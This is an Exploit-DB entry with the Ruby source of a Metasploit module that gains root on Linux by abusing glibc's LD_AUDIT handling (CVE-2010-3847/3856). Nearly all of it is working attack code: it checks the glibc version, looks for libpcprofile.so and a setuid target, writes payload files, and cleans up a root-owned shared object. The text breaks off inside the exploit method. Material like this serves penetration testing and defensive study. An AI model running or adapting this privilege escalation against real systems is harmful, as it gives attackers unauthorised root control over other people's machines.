Exploit-DB #44025
Description: glibc - 'LD_AUDIT' Arbitrary DSO Load Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2018-02-12
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        a vulnerability in the GNU C Library (glibc) dynamic linker.

        glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
        properly restrict use of the LD_AUDIT environment variable when loading
        setuid executables. This allows loading arbitrary shared objects from
        the trusted library search path with the privileges of the suid user.

        This module uses LD_AUDIT to load the libpcprofile.so shared object,
        distributed with some versions of glibc, and leverages arbitrary file
        creation functionality in the library constructor to write a root-owned
        world-writable file to a system trusted search path (usually /lib).
        The file is then overwritten with a shared object then loaded with
        LD_AUDIT resulting in arbitrary code execution.

        This module has been tested successfully on glibc version 2.11.1 on
        Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.

        RHEL 5 is reportedly affected, but untested. Some glibc distributions
        do not contain the libpcprofile.so library required for successful
        exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy', # Discovery and exploit
          'zx2c4',         # "I Can't Read and I Won't Race You Either" exploit
          'Marco Ivaldi',  # raptor_ldaudit and raptor_ldaudit2 exploits
          'Todor Donev',   # libmemusage.so exploit
          'Brendan Coles'  # Metasploit
        ],
      'DisclosureDate' => 'Oct 18 2010',
      'Platform'       => 'linux',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'CVE', '2010-3847' ],
          [ 'CVE', '2010-3856' ],
          [ 'BID', '44154' ],
          [ 'BID', '44347' ],
          [ 'EDB', '15274' ],
          [ 'EDB', '15304' ],
          [ 'EDB', '18105' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
          [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
        ]
    ))
    register_options(
      [
        OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
        OptString.new('WritableDir',     [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def base_dir
    datastore['WritableDir']
  end

  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end

  def check
    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Safe
    elsif glibc_version >= Gem::Version.new('2.12.2') ||
          (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
      vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is vulnerable"

    lib = 'libpcprofile.so'
    @lib_dir = nil
    vprint_status "Checking for #{lib} in system search paths"
    search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
    search_paths.split('path=')[1..-1].join.split(':').each do |path|
      lib_dir = path.to_s.strip
      next if lib_dir.eql? ''
      libs = cmd_exec "ls '#{lib_dir}'"
      if libs.include? lib
        @lib_dir = lib_dir
        break
      end
    end
    if @lib_dir.nil?
      vprint_error "Could not find #{lib}"
      return CheckCode::Safe
    end
    vprint_good "Found #{lib} in #{@lib_dir}"

    unless setuid? suid_exe_path
      vprint_error "#{suid_exe_path} is not setuid"
      return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is setuid"

    CheckCode::Appears
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end

  def on_new_session(client)
    # remove root owned shared object from system load path
    if client.type.eql? 'meterpreter'
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm @so_path
    else
      client.shell_command_token "rm #{@so_path}"
    end
  end

  def exploit
    check_status = check

    if check_status == CheckCode::Appears
      print_good 'The target app